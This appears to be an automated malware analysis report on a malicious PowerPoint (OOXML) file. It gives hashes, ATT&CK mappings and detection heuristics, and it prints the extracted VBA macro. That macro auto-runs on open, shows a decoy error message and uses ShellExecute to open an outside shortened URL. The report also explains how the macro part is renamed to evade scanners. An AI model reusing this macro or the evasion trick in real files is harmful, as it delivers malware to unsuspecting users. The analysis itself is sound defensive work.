Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 66a3e3be3b63626d…

MALICIOUS

Office (OOXML)

8.3 KB First seen: 2021-10-23
MD5: 3471cb088d588150df6e37e2200afbf9 SHA-1: 90d89c9f5aaaae4c067f179651066303bc83f452 SHA-256: 66a3e3be3b63626de046621d447103e0978f5b24d3de0f412230ed6c2bfd6e28
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro that is automatically executed upon opening, as indicated by the Auto_Open subroutine. This macro utilizes CreateObject to launch a shell command, executing the embedded URL. This suggests the document is designed to lure the user into clicking a link that likely leads to a malicious download or redirect.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kaoskdaoskdoaksda.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
        Set objShell = CreateObject("Shell.Application")
        Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdowdpowdrufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
    Sub Auto_Open()
    MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/wdowdpowdrufhjwijjd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 594 bytes
SHA-256: 7af6421a026a7968e88ae5a4bbadccafe3233c63b86c8d77dbfd09605fe555ec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{403E30EB-1C85-423B-8B50-3F8C1D2242B8}{AA7DE0A2-563F-48EA-9BA6-0747637603A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
    Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/wdowdpowdrufhjwijjd", "", "open", 1)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/kaoskdaoskdoaksda.b 19968 bytes
SHA-256: b17414417092f0024f8ca1fe854982f65d5c006b94773d63c56234e311813990